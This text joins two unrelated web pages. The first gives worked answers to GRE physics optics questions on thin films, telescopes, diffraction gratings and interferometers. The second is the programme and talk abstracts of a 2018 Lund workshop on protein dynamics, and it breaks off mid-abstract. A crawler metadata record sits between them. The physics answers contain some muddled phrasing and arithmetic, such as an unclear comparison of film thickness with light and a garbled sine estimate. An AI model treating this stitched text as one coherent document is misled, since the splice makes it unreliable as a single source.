21 Click here to jump to the problem! GR8677 #21 Optics$\Rightarrow$}Thin Film Elimination time. I. Can't be this, since one knows from basic thin-film theory that choice IV is right. (None of the letter choices allow for both choices I and IV.) II. Thin film theory has $2t=\lambda/2$ for constructive interference and $2t=\lambda$ for destructive interference. Thus, the thickness of the film is smaller than that of the light. (Search on the homepage of this site for more on thin film theory---it is explained in the context of other problems.) III. This phase change allows for the half-integer constructive interference. IV. Phase change only occurs when light travels from a medium with lower index of refraction to a medium with higher index of refraction. Since at the back surface, the light would be going from higher to lower index of refraction, there is no phase change. Thus, choice (E). Click here to jump to the problem!
22 Click here to jump to the problem! GR8677 #22 Optics$\Rightarrow$}Telescope The magnification for a telescope is related to the focal length for the eyepiece and objective by $M=f_o/f_e$. (Note that it is the eye-piece that magnifies it. The objective merely sends an image that's within view of the eye-piece. However, magnification is inversely related to focal length.) The problem gives angular magnification to be $M=10=f_o/f_e \Rightarrow f_e=f_o/10=.1m$. The distance between the objective and eyepiece is the sum of the focal lengths (since the light comes from infinity). $d=f_o+f_e=1.1$m as in choice (D). Click here to jump to the problem!
23 Click here to jump to the problem! GR8677 #35 Optics$\Rightarrow$}Diffraction Grating Diffraction gratings have the same formula as 2-slit interference, except each slit is (obviously) much smaller. The condition for maximum is given by $d\sin\theta = m\lambda$, relating the width of the slit to the wavelength and angle and order m. The width of each slit is given by the grating $d=(2000 lines/cm \times 100cm/m)^{-1}=0.5E-5 m$. Thus, plugging in the wavelength one has $\sin\theta = \lambda/d = 5200E-10/0.5E-5 \approx 10000E-5 = 1E-1$. Now, the approximations to get rid of the trig function. Since $\theta << 1$, one can approximate $\sin\theta \approx \theta$, where the angle is in radians. Now, convert the angle from radians to degrees. $1E-1 \times 180^{\circ}/\pi = 18/\pi \approx 18/3 = 6^{\circ}$, as in choice (B). Click here to jump to the problem!
24 Click here to jump to the problem! GR8677 #67 Optics$\Rightarrow$}Polarized light A plane-polarized wave has intensity $I\propto \cos^2\theta$, where $\theta$ is the angle from the wave to the polarization axis. (This is also known as Malus' Law.) An unpolarized wave has intensity $I = const$. Since ETS is generous enough to supply the intensity, one can easily deduce choice (C). Click here to jump to the problem!
25 Click here to jump to the problem! GR8677 #68 Optics$\Rightarrow$}Aperture Formula The formula that relates the angle of an angular aperture to the wavelength and diameter is $\theta = 1.22 \lambda/d$. Thus, $d=1.22\lambda/\theta$. Plug in numbers to get (C). Click here to jump to the problem!
26 Click here to jump to the problem! GR8677 #69 Optics$\Rightarrow$}Speed of Light The speed of light is related to the index of refraction by $n=c/v$. Thus, the minimal velocity the particle must have is $v=c/n=2/3c$, since $n=3/2$. Click here to jump to the problem!
27 Click here to jump to the problem! GR8677 #96 Optics$\Rightarrow$}Interferometer An (effective) path change of $\lambda$ produces a fringe shift. Thus, the interferometer formula is similar to the interference formula at normal incident, $m=2\frac{\Delta L}{\lambda}$. Thus, $m = 2\left( dn/\lambda - d/\lambda \right)=2d/\lambda(n-1)$. Thus, $n=\frac{m\lambda}{2d}+1=1.0002$, as in choice (C). See GR0177.100 on the same site for more info. Click here to jump to the problem!
The Sidebar Chatbox...
Scroll to see it, or resize your browser to ignore it... | 2018-12-17 14:05:51 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 167, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.931560754776001, "perplexity": 724.0366561445519}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-51/segments/1544376828507.84/warc/CC-MAIN-20181217135323-20181217161323-00240.warc.gz"} |
https://indico.linxs.lu.se/event/2/timetable/?view=standard_inline_minutes | # Dynamics of Biological Macromolecules
Europe/Stockholm
Skissernas Museum
#### Skissernas Museum
Finngatan 2 223 62 Lund Sweden
Description
Lunch-to-lunch LINXS Workshop in Lund
• Monday, 4 June
• 12:00 13:00
Registration and Lunch 1h
• 13:00 13:15
Opening Statement - Introduction to LINXS 15m
Speaker: Prof. Peter Schurtenberger (Lund University)
• 13:15 15:15
Dynamics of Intrinsically Disordered Proteins: Afternoon Session
• 13:15
KEYNOTE 1 - Dynamics of intrinsically unfolded and partially folded proteins: Insights gained by quasielastic neutron scattering 40m
A general property of disordered proteins is their structural expansion that results in a high macromolecular flexibility. Quasielastic incoherent neutron scattering (QENS) is a well-suited experimental method to study protein dynamics from the picosecond to several nanoseconds and in the Ångström length-scale. In QENS experiments of protein solutions hydrogens act as reporters for the motions of methyl groups or amino acids to which they are bound. Neutron Spin-Echo spectroscopy (NSE) on the other hand, offers the highest energy resolution in the field of neutron spectroscopy and allows the study of slow collective motions in proteins up to several hundred nanoseconds and in the nanometer length-scale. In my presentation, I will summarize recent QENS and NSE results on the dynamics of the intrinsically disordered myelin basic protein (MBP) and the chemically denatured bovine serum albumin (BSA) (1,2,3). Using NSE experiments, we observed a high internal flexibility of the intrinsically disordered MBP and the denatured BSA in addition to centre-of-mass diffusion detected by dynamic light scattering. Internal motions measured by NSE were described using concepts based on polymer theory. The contribution of residue-solvent friction was accounted for using the Zimm model including internal friction (ZIF). Disulphide bonds forming loops of amino acids of the peptide backbone have a major impact on internal dynamics that can be interpreted with a reduced set of Zimm modes.
1. Stadler et al. 2014, Journal of the American Chemical Society 136 (19), 6987-6994
2. Ameseder et al. 2018, Physical Chemistry Chemical Physics 20 (7), 5128-5139
3. Ameseder et al. 2018, The Journal of Physical Chemistry Letters 9, 2469-2473
Speaker: Dr. Andreas Stadler (Forschungszentrum Jülich)
• 13:55
Contributed talk 1 - Exploring protein association pathways with time-resolved SAXS and SANS 20m
Protein performs its biological functions by interacting with other proteins. Protein complexes, which are formed as a result of these interactions, consist of two or more components that associate along specific pathways - protein association pathways. The association pathway from monomer to oligomer is critical in a range of biological processes and thus it is of a vital importance to elucidate both atomic-resolution structures of intermediates along the pathway as well as the structure of the final state. Although considerable progress has been made in using experimental and computational techniques to determine start and final structural states, we have a limited understanding of what happens in between.
By enabling both time resolution and structural detail Time-Resolved Small Angle X-ray/Neutron Scattering (TR-SAXS/TR-SANS) is uniquely suited to interrogate complex self-assembly reactions and to provide a molecular understanding of self-assembly pathways. However, the analysis of such data is complicated because scattering arises from a mixture of many components, the information content in each spectrum is limited and there is no framework for simultaneous analysis of data from different data sources. The similar problem is faced when resolving conformational ensembles from small angle scattering data.
To overcome this problem we develop a method that combines a computational structural modeling (which delivers atomic-resolution structures) with experimental data (which provides information about the population of different states). The method applies Bayesian probabilistic model to analyze scattering data from mixtures of oligomeric species, allows for a modeling large structural ensembles, can be used to assess uncertainty of all parameters and minimizes over-fitting. Our software is developed to meet high software standards and will become available to ESS users from the early stage of operation.
Speaker: Dr. Wojciech Potrzebowski (European Spallation Source)
• 14:15
Contributed talk 2 - Structural characterization of intrinsically disordered protein micelles 20m
To obtain a molecular understanding of IDPs, a combined approach of experiments and simulations is useful. Recently we have shown that a coarse-grained model based on the primitive model, that has been used for modelling polyelectrolytes for over 30 years, works well for a range of IDPs where electrostatics governs the intra- and intermolecular interactions [1]. However, some IDPs have the tendency to self-associate into oligomers, also known as micelles. To simulate the self-associating proteins, further development of the model is performed, using the saliva protein Statherin as model system. For this purpose, Statherin has been characterized by small-angle x-ray scattering and the effect of protein concentration, salt and temperature have been investigated. Preliminary Monte Carlo simulation results follow the experimental trends at lower protein concentrations and provide further insight into shape and polydispersity.
[1] C. Cragnell, E. Rieloff and M. Skepö, J. Mol. Biol., 2018, https://doi.org/10.1016/j.jmb.2018.03.006
Speaker: Ellen Rieloff
• 14:35
KEYNOTE 2 - Dynamics and interactions of disordered proteins from single-molecule spectroscopy 40m
Proteins are the most versatile constituents of the molecular machinery of life, and it is becoming increasingly clear that many of them perform essential functions even though they lack a well-defined folded structure. Single-molecule spectroscopy and fluorescence correlation spectroscopy provide an opportunity for investigating the molecular dynamics of these intrinsically disordered proteins on nanometer length scales and across twelve orders of magnitude in time, even in complex environments, including live cells. A physical description of their behavior is becoming increasingly accessible via the synergy of experiment with theory and simulations.
Speaker: Prof. Benjamin Schuler (University of Zurich)
• 15:15 15:45
Coffee Break 30m
• 15:45 17:05
Dynamics of Intrinsically Disordered Proteins: Late Afternoon Session
• 15:45
KEYNOTE 3 - Characterization of intrinsically disordered proteins and their dynamic complexes by NMR spectroscopy 40m
Over the last two decades, the classical structure-function paradigm has gradually been revisited with the discovery and the increasingly recognized importance of intrinsically disordered proteins (IDPs). IDPs do not rely on a well-defined three-dimensional structure to be functional, but rather exploit their intrinsic conformational dynamics for carrying out a wide range of biological functions. It is estimated that around 40% of the human proteome is intrinsically disordered or contain disordered regions of significant length, and it has been shown that intrinsic disorder is particularly abundant in proteins implicated in human diseases underlining the importance of understanding the conformational properties and functional interactions of IDPs at the molecular level.
Nuclear magnetic resonance (NMR) spectroscopy is the most promising technique for visualizing the structure, dynamics and interactions of IDPs at atomic resolution. Here, our sample-and-select approach will be presented for obtaining representative ensemble descriptions of IDPs on the basis of experimental NMR data providing detailed insight into the conformational sampling of IDPs at amino acid resolution [1]. In addition, experimental NMR approaches will be presented for characterizing the structure, dynamics and kinetics of complexes involving IDPs. Examples will be given of functional protein disorder in important biological systems such as paramyxoviruses [2], the nuclear pore complex [3] and cell signaling cascades [4,5].
[1] Jensen et al, Chem. Rev. 114 (2014) 6632–6660.
[2] Schneider et al, J. Am. Chem. Soc. 137 (2015) 1220–1229.
[3] Milles et al, Cell 163 (2015) 734–745.
[4] Kragelj et al, Proc. Natl. Acad. Sci. U. S. A. 112 (2015) 3409–3414.
[5] Delaforge et al, J. Am. Chem. Soc. 140 (2018) 1148–1158.
Speaker: Dr. Malene R. Jensen (Institut de Biologie Structurale, Grenoble)
• 16:25
KEYNOTE 4 - Comparing molecular simulations with NMR and SAXS measurements: A cautionary tale 40m
The degree of compaction of the polypeptide chain is a property of key importance in intrinsically disordered proteins. Experimentally, compaction is often measured either by NMR (as the hydrodynamic radius) or SAXS (as the radius of gyration), and more detailed information may also be obtained by NMR paramagnetic relaxation enhancement measurements. A more detailed, atomic-level description of the structure, dynamics and compaction of IDPs, may however, be obtained from molecular simulations, but these need to be validated or generated by comparison with experiments. The comparison between computed conformational ensembles and NMR and SAXS experiments is, however, not trivial. I will discuss recent results that provide new insights into how we can compare atomic level structures of IDPs with NMR diffusion, NMR paramagnetic relaxation enhancement and SAXS experiments. Further, I will discuss recent theoretical and practical progress in using experimental NMR and SAXS data to refine computational models of biomolecules.
Speaker: Prof. Kresten Lindorff-Larsen (University of Copenhagen)
• 17:05 17:25
Antibody Dynamics and Internal Motion in Proteins: Late afternoon session
• 17:05
Contributed talk 3 - Efficient Prediction of Macromolecular Flexibility and its Applications to Small-Angle Scattering 20m
Large macromolecular machines, such as proteins and their complexes, are typically very flexible at physiological conditions. Computationally, this flexibility can be approximated with just a few collective molecular motions, computed e.g. using the Normal Mode Analysis (NMA). NMA determines low-frequency motions at a very low cost and these are particularly interesting to the structural biology community.
We have recently introduced a new conceptually simple and computationally efficient method for nonlinear normal mode analysis called NOLB [1]. Overall, the NOLB method produces structures with a better local geometry compared to the standard techniques, especially at large deformation amplitudes, and it also predicts better structural transitions. Finally, the NOLB method is scalable and robust, it typically runs at interactive time rates, and can be applied to very large molecular systems, such as ribosomes.
NMA can be combined with other computational techniques for various applications. I will specifically highlight our flexible fitting methods for small-angle X-ray (SAXS) and neutron (SANS) profiles. This was made possible thanks to our SAXS and SANS packages called Pepsi-SAXS [2], and Pepsi-SANS [3]. Pepsi-SAXS is a novel and very efficient method that calculates SAXS profiles from atomistic models. It is based on the multipole expansion scheme and is significantly faster with the same level of precision compared to CRYSOL, FoXS and other methods. Recently, we designed a computational scheme that uses the NOLB modes as a low-dimensional representation of the protein motion subspace and optimises protein structures guided by the SAXS and SANS profiles. Overall, this scheme allows to significantly improve the goodness of fit to experimental profiles in a very reasonable computational time.
[1] https://team.inria.fr/nano-d/software/nolb-normal-modes/
[2] https://team.inria.fr/nano-d/software/pepsi-saxs/
[3] https://team.inria.fr/nano-d/software/pepsi-sans/
Speaker: Sergei Grudinin (Inria / CNRS)
• 17:25 18:45
Poster session with drinks & nibbles
• Tuesday, 5 June
• 08:30 10:10
Antibody Dynamics and Internal Motion in Proteins: Morning Session
• 08:30
KEYNOTE 5 - Neutron Spinecho Spectroscopy: Protein internal dynamics, forces and friction 40m
The biological function of proteins is often related to large-scale domain motions, which are induced or suppressed by the binding of a substrate or due to cosolvents. Domain motions can be related to soft hinges, flexible linker regions or -as in the case of intrinsic unfolded proteins- be native to the unfolded protein structure. These large-scale domain motions in solution cannot be observed by X-ray crystallography or NMR spectroscopy. Small angle scattering by X-rays or neutrons in combination with neutron spin echo spectroscopy (NSE) in solution can be used to observe configurational changes and equilibrium dynamics between functional domains on 1-100 nanosecond timescale.
I present here examples for different types of motions related to the structure of proteins and bioconjugates. Thermal unfolded Ribonuclease A shows polymer like dynamics despite the 4 disulfide bonds restricting the degrees of freedom. Phosphoglycerate kinase shows a clear hinge motion between the main domains. PEGylation seems not to influence domain motion but adds additional internal dynamics in the protein-polymer complex. Immunoglobulin 1 (IGG1) presents a strong dynamics due to the short linkers connecting the Fc with the Fab domains.
Relevant forces and friction will be discussed in terms of the Ornstein-Uhlenbeck process.
References
(1) Inoue, R.; Biehl, R.; Rosenkranz, T.; Fitter, J.; Monkenbusch, M.; Radulescu, A.; Farago, B.; Richter, D. Biophys J 2010, 99 (7), 2309.
(2) Ciepluch K., Radulescu, A., Hoffmann I., Raba, A., Allgaier, J., Richter D., Biehl R., in review
(3) Stingaciu, L. R.; Ivanova, O.; Ohl, M.; Biehl, R.; Richter, D. Sci. Rep. 2016, 6, 22148.
Speaker: Dr. Ralf Biehl (Forschungszentrum Jülich)
• 09:10
KEYNOTE 6 - Combining scattering and coarse-grained molecular models to quantify and predict thermodynamic and dynamic contributions to antibody self-interactions and solution properties 40m
Protein-protein interactions can influence a range of material properties and dynamic/kinetic behaviors, from aggregation kinetics to solution viscosity, self-association, and solubility. This presentation focuses on dilute and concentrated solutions of monoclonal antibodies and synthetic antibodies, from the perspective of predicting the physical properties and/or behavior of these systems as a function of typical formulation variables (e.g., pH, ionic strength). The results illustrate a range of behavior, some of which can be predicted quantitatively or semi-quantitatively with molecular simulations, while others pose a challenge to capture at more than a qualitative level. Comparing a series of different coarse-grained models provides insight into the importance of domain structure, and balances between computational cost and the types of CG models that are used. In the case of single-chain antibodies, the results illustrate examples where the flexibility and dynamics of "linker" peptides can dominate the behavior, and pose a challenge for predicting the behavior and "developability" of candidate molecules.
Speaker: Prof. Christopher Roberts
• 09:50
Contributed talk 4 - Short-time self-diffusion of immunoglobulin under different crowding conditions 20m
Approximately 10-40% of the intra- and extracellular fluids of living organisms is occupied by macromolecules such as proteins, the internal dynamics of which is widely recognized as a crucial aspect for their function. The rather high concentration of such macromolecules is known as “macromolecular crowding” and was shown to influence reaction rates [1] and protein thermal stability. Here, we present a neutron backscattering study on the nanosecond self-diffusion of the antibody proteins immunoglobulins (Ig) in aqueous solution. We consider two systems: Ig and serum albumin (the two most abundant protein types in blood plasma), and Ig in cellular lysate, mimicking the cellular environment.
To investigate the effect of macromolecular crowding on protein dynamics in different environments, we systematically vary the concentration of Ig, serum albumin and cellular lysate, respectively. We find that, notwithstanding the different environments, the diffusion of Ig (as probed by neutron backscattering) as a function of the overall volume fraction is in rather good agreement with that of Ig in pure D2O as a function of its own volume fraction [2], pointing out the crucial role of hydrodynamics even in complex, biomimicking environments.
[1] Hall D. & Minton A. P. Biochim. Biophys. Acta 1649 (2003): 127.
[2] Grimaldo M., Roosen-Runge F., Zhang F., Seydel T., Schreiber F. JPCB 118 (2014): 7203.
Speaker: Marco Grimaldo (Institut Laue-Langevin)
• 10:10 10:40
Coffee Break 30m
• 10:40 11:20
Antibody Dynamics and Internal Motion in Proteins: Late Morning Session
• 10:40
KEYNOTE 7 - Computer simulations of antibody solutions: from structure to dynamics? 40m
Concentrated solutions of monoclonal antibodies have attracted considerable attention due to their importance in pharmaceutical formulations, yet their tendency to aggregate and the resulting high solution viscosity has posed considerable problems. It remains a very difficult task to understand and predict the solution behavior and stability of such solutions.
In this talk I will discuss a recent study [1] of the concentration dependence of the structural and dynamic properties of monoclonal antibodies using a combination of different scattering methods and microrheological experiments. The system is also investigated within a simple model of patchy colloids that incorporates the characteristic Y-shape of antibodies. To this aim we perform Monte Carlo simulations which are compared to analytical results, based on Wertheim theory applied to the case of hyperbranched polymers. Thanks to this colloid-inspired approach, we are able to disentangle self-assembly and intermolecular interactions and to describe the concentration dependence of structural and dynamic quantities such as the osmotic compressibility, the collective diffusion coefficient and the zero shear viscosity over the entire range of concentrations investigated.
Perspectives of this work will also be discussed.
[1] N. Skar-Gislinge, M. Ronti, T. Garting, C. Rischel, P. Schurtenberger, E. Zaccarelli and A. Stradner, to be submitted [2018].
Speaker: Prof. Emanuela Zaccarelli (University of Rome La Sapienza)
• 11:20 12:45
Round Table
• 12:45 14:00
Lunch 1h 15m Biskopshuset
#### Biskopshuset
Biskopsgatan 1, 223 62 Lund
• 14:00 15:40
Dynamics of Proteins in Crowded and Confined Geometry: Afternoon Session
• 14:00
KEYNOTE 8 - Interplay of gating and hydrodynamic interactions in crowded protein solutions 40m
An outstanding challenge in computational biophysics is the simulation of a living cell at molecular detail. Over the past several years, using Stokesian Dynamics, progress has been made in simulating coarse grained molecular models of the cytoplasm. Since macromolecules comprise 20-40% of the volume of a cell, one would expect that steric interactions dominate macromolecular diffusion. However, the reduction in cellular diffusion rates relative to infinite dilution is due, roughly equally, to steric and hydrodynamic interactions, HI, with nonspecific attractive interactions likely playing rather a minor role. HI not only serve to slow down long time diffusion rates but also cause a considerable reduction in the magnitude of the short time diffusion coefficient relative to that at infinite dilution. More importantly, the long range contribution of the Rotne-Prager-Yamakawa, RPY, diffusion tensor results in temporal and spatial correlations that persist up to microseconds and for intermolecular distances on the order of protein radii. While HI slows down the bimolecular association rate in the early stages of lipid bilayer formation, they accelerate the rate of large scale assembly of lipid aggregates. This is suggestive of an important role for HI in the self-assembly kinetics of large macromolecular complexes such as tubulin. Since HI are important, questions as to whether continuum models of HI are adequate. Nevertheless, the stage is set for the molecular simulations of ever more complex subcellular processes and we discuss one such case, the diffusion of lac repressor in a packed cellular nucleoid.
Speaker: Prof. Jeffrey Skolnick (CSSB, Atlanta)
• 14:40
KEYNOTE 9 - Role of shape anisotropy in interpreting small angle X-ray scattering (SAXS) studies on concentrated protein solutions 40m
There is a need for achieving high protein concentration liquid formulations of antibody therapeutics to meet patient dose requirements. Predicting the concentrated solution behaviour requires understanding how to map protein-protein interactions on simplified models, which account for the relative contributions from repulsive and attractive forces, shape and interaction anisotropy, and any effects due to intra-molecular flexibility. The overall aim here is to examine applicability and limitations of spherical versus anisotropic-shaped models for proteins in describing the thermodynamic properties and structure of concentrated solutions as probed by small angle X-ray scattering experiments on solutions of a monoclonal antibody or albumin. We show that an ellipsoidal versus spherical model provides an improved description for the excluded volume contribution to the thermodynamic properties and solution structure in concentrated albumin solutions. Molecular simulations of a three bead model for the antibody molecule, which is capable of reproducing generic features in the effective structure factor profile, indicates contributions from intra-molecular correlations can only be separated out for q values corresponding to characteristic separations greater than a protein diameter. Nevertheless fitting to integral equation calculations of the spherical structure factor over this limited q-range can still discriminate between steric-only models and models including an electrostatic repulsive potential with physically realistic charge parameters providing evidence that spherical models are accurate for interpreting longer-ranged repulsive forces.
Speaker: Prof. Robin Curtis (University of Manchester)
• 15:20
Contributed talk 5 - Rotational and translational diffusion of eye lens gamma crystallin at low and intermediate concentrations 20m
We are conducting continuing studies of rotational diffusion, translational diffusion, and thermodynamic compressibility of the eye lens protein bovine gammaB crystallin at low and intermediate protein concentrations. For nuclear magnetic resonance (NMR) measurements, 15N-labeled bovine gammaB crystallin was produced in transformed E Coli by recombinant means, and isolated using size-exclusion and cation-exchange chromatography. For light scattering measurements, protein was isolated from young bovine lenses and isolated in the same fashion. Protein was concentrated for measurements in 10% D2O 100mM sodium phosphate buffer, pH 7.1, with 20mM dithiothreitol to inhibit oxidation. NMR transverse and longitudinal relaxation profiles were used to study concentration- and temperature-dependent rotational self-diffusion. Translational collective diffusion was measured with use of quasielastic light scattering, and solution Rayleigh ratios were measured using static light scattering. Characteristic rotational diffusion times of gammaB crystallin slowed from 9 nanoseconds to 13 nanoseconds, as protein concentration was increased from 0.25 to 2.6 millimolar. This slowing-down is well above effects due to solution viscosity increases in this concentration range. Evidence for concentration-dependent, non single-exponential rotational relaxation emerged and is awaiting follow-up experiments. Collective translational diffusion coefficient slowed from 9 x 10^(-11) m^2/s to 6 x 10^(-11) m^2/s over the same concentration range. The dependence of the Rayleigh ratio on concentration is consistent with attractive interactions, as characterized previously. We compare these results with computational hydrodynamic and theoretical calculations. To fully interpret the combined data, models for rotational diffusion in the presence of orientation-dependent direct as well as hydrodynamic inter-protein interactions may need further development.
Speaker: George Thurston (Rochester Institute of Technology)
• 15:40 16:10
Coffee Break 30m
• 16:10 17:10
Dynamics of Proteins in Crowded and Confined Geometry: Late Afternoon Session
• 16:10
KEYNOTE 10 - X-ray Photon Correlation Studies of Diffusion in Concentrated Protein Suspensions 40m
The talk will present an introduction to x-ray photon correlation spectroscopy (XPCS) and the specific issues associated with XPCS measurements on biological macromolecules. This will include flux requirements and methods to ameliorate beam damage. XPCS measurements of the dynamics of concentrated suspension of eye-lens proteins will be presented. The measured time correlation functions from alpha crystallin suspensions will be compared with Langevin dynamics simulations. XPCS, dynamic light scattering and neutron spin echo measurements will be compiled to yield a comparison of concentrated alpha crystalline suspensions with hard sphere colloid theory over a wide range of length and time scales.
Speaker: Prof. Laurence Lurio (Northern Illinois University)
• 16:50
Contributed talk 6 - Low radiation dose XPCS for dynamic studies of biological matter 20m
X-ray photon correlation spectroscopy (XPCS) measures nanoscale dynamics in real time by correlations of X-ray speckle patterns. The speckle patterns yield access to density-density correlation functions and also to higher order correlation functions. However, the highly intense X-ray beams of modern storage rings are also the cause for considerable radiation damage to the samples. Traditionally, XPCS experiments are performed with radiation doses of MGy to GGy, many orders of magnitude higher than tolerable for biological samples. We demonstrated recently [1] that XPCS experiments can be performed with very low doses reaching doses as low as a few kGy which opens the possibility to study dynamics of protein systems. In this talk I will present the methodology, opportunities, challenges and also first results of XPCS studies of radiation sensitive samples.
[1] J. Verwohlt et al. Phys Rev Lett 120, 168001 (2018)
Speaker: Prof. Christian Gutt (University Siegen)
• 17:10 17:50
Protein Dynamics and Drug Discovery: Protein Dynamics and Drug Discovery: Late Evening session
• 17:10
KEYNOTE 11 - Neutron scattering and drug discovey 40m
Neutron scattering, when combined with computational science, can aid in the drug discovery process in several ways. We illustrate how precision neutron crystallography can permit the derivation of the thermodynamic driving forces behind the binding of drugs to their targets. Also, we show how computational drug design protocols benefit considerably from a dynamic, rather than just a static, description of the protein to be modulated. We describe how small-angle and dynamic neutron scattering, when combined with computer simulation, provide useful information on the motions involved. We show that motions in single protein molecules are complex, being non-ergodic and non-equilibrium, and exhibit ageing, these properties arising from the fractal nature of the topology and geometry of the energy landscape explored. We describe how taking these motions into account in supercomputer-based virtual high-throughput screening has led to the discovery of lead compounds for a variety of diseases.
Speaker: Prof. Jeremy Smith ( Oak Ridge National Laboratory)
• 19:00 21:30
Conference Dinner 2h 30m Lilla Salen (Akademiska Föreningen)
### Lilla Salen
Sandgatan 2, 223 50 Lund
• Wednesday, 6 June
• 09:00 10:20
Dynamics of Proteins in Crowded and Confined Geometry
• 09:00
KEYNOTE 12 - Hemoglobin diffusion and the dynamics of oxygen capture by the red blood cells 40m
Translational diffusion of macromolecules in cell is generally assumed to be anomalous due high macromolecular crowding of the milieu. Red blood cells are a special case of cells filled quasi exclusively (95 % of the dry weight of the cell) with an almost spherical protein: hemoglobin. Hemoglobin diffusion has since a long time been recognized as facilitating the rate of oxygen diffusion through a solution. We will address the question on how hemoglobin diffusion in the red blood cells can help the oxygen capture at the cell level and hence to improve oxygen transport. We have performed a measurement by neutron spin echo spectroscopy of the diffusion of hemoglobin in solutions with increasing protein concentration. We will show that hemoglobin diffusion in solution can be described as Brownian motion up to physiological concentration and that hemoglobin diffusion in the red blood cells and in solutions at similar concentration are the same. Finally, using a simple model and the concentration dependence of the diffusion of the protein reported here, we show that hemoglobin concentration observed in human red blood cells (≃ 330 g.L−1) corresponds to an optimum for oxygen transport for individuals under strong activity.
1 - S. Longeville and L. Stingaciu, Sci. Reports, 7 (2017) 10448
2 - A. Clark Jr., W. J. Federspiel, P. A. A. Clark and G. R. Cokelet, Biophys. J., 47 (1985) 171-181.
Speaker: Dr. Stéphane Longeville (LLB Saclay)
• 09:40
Contributed talk 7 - Influence of shape and interaction anisotropy on short-time protein diffusion 20m
In a dense and crowded environment such as the cell, an individual protein feels the presence of surrounding proteins. It is thus expected that direct and hydrodynamic interactions strongly affect the diffusion of proteins. Examples are suspensions of eye lens proteins, where a dramatic slow down of the local short-time diffusion of γB-crystallin and a dynamical arrest is observed experimentally under crowded conditions. Here, we demonstrate that an application of colloid models, together with appropriate theoretical and simulation tools that allow to incorporate direct and hydrodynamic interactions, provides detailed insight into the dynamics of protein solutions. The hybrid simulation approach combines the multiparticle collision dynamics (MPC) method for the fluid with molecular dynamics simulations (MD) for the globular proteins. We present results for the short-time diffusion of different model proteins, where their dynamics are analyzed together with structural properties. The effect of shape anisotropy as well as weak attractive patches between colloids are discussed. In particular, we highlight the dramatic effect of weak interaction anisotropy known to exist between many globular proteins on the short-time diffusion under crowded conditions. This study is of great interest in applications such as formulations as well as for the fundamental understanding of soft matter in general and crowding effects in living cells in particular.
Speaker: Jin Suk Myung (Lund University)
• 10:00
Contributed talk 8 - Towards crowding in the eye lens: dynamics in aqueous solutions of crystallin proteins 20m
The function of the eye is dependent on a transparent, optically refractive, and deformable eye lens. These specific physical properties are realized by a crowded multicomponent mixture of mainly crystallin proteins within the cells in the eye lens. The underlying biophysical mechanisms are not only of fundamental interest, but highly relevant to better understand and treat eye conditions such as presbyopia and cataract.
We present experimental data on nanosecond dynamics in solutions of α, β and γ crystallins as model systems for the cytoplasm in the eye lens. While cage diffusion and gradient diffusion in α crystallin solutions are consistent with hard sphere systems [1,2], solutions of γ crystallins show clear signatures of short-range attraction, resulting in a significant slowing down of the cage diffusion compared to hard-sphere predictions [1], and critical slowing down of the gradient diffusion [3]. β crystallins appear to have only weak attractive interactions, causing smaller deviations from hard sphere behavior than for γ crystallin.
Based on the dynamics characterised in mono-component solutions, we discuss the effects of mutual protein interaction in mixed solutions of crystallins on the dynamics and arrest behavior. For both mixtures of α / γ crystallins and β / γ crystallins, non-additive effects of the diffusion are observed, suggesting mutual interaction between the crystallins [4].
[1] S Bucciarelli, JS Myung et al. Sci. Adv. 2 (2016) e1601432
[2] G Foffi, G Savin, et al. PNAS 111 (2014) 16748
[3] S Bucciarelli, L Casal-Dujat, et al. JPCL 6 (2015) 4470
[4] A Stradner, G Foffi et al. PRL 99 (2007) 198103
Speaker: Felix Roosen-Runge
• 10:20 10:50
Coffee Break 30m
• 10:50 11:10
Dynamics of proteins in crowded and confined geometry
• 10:50
Contributed talk 9 - Crowding-induced protein cluster formation 20m
Protein cluster formation plays an important role in some pathological pathways and in drug delivery applications. Studying protein diffusion allows to reliably monitor cluster formation, as exemplified in a study combining several scattering techniques to determine the cluster sizes in $\beta$-lactoglobulin [1]. By investigating the short-time self-diffusion with incoherent quasi-elastic neutron backscattering (QENS) on the example of ovalbumin (OVA), we investigate crowding-induced cluster formation of OVA in aqueous (D$_2$O) solutions. To this end, the obtained diffusion coefficients are compared with the theoretical diffusion coefficients determined from the pdb structure of different cluster sizes. A monotonously increasing cluster size can be observed with increasing protein concentration within the accessed protein concentration range. While for low protein concentrations, the solution predominantly contains monomers, clusters larger than tetramers are observed for the highest investigated protein concentration. Different fit algorithms with and without imposing the dependence of the employed models on the scattering vector are applied, resulting in consistent results.
Besides the global diffusion providing information on the cluster size, information on the internal dynamics of the proteins is obtained simultaneously by the analysis of the QENS spectra. The internal dynamics of OVA is compared with the internal dynamics of bovine serum albumin, $\beta$-lactoglobulin and immunoglobulin.
[1] M. Braun et al., J. Phys. Chem. Lett. 8, 12, 2590-2596
Speaker: Christian Beck (Institute Laue Langevin)
• 11:10 11:50
Protein Dynamics and Drug Discovery: Late Morning Session
• 11:10
KEYNOTE 13 - Improving the accessibility of time-resolved structural biology: new photochemical tools and data collection strategies 40m
Proteins have evolved into complex nanomachines able to couple dynamics over
many orders of magnitude in time to precisely and exquisitely control
chemical reactions and processes such as signal transfer and the generation
of mechanical force. To understand how they are able to achieve this
requires not only the determination of their structure, but also study of
their dynamics. Time-resolved structural biology is one route towards such
understanding, providing both high-resolution global structural information
and insight into dynamics. However, its application to a broad range of
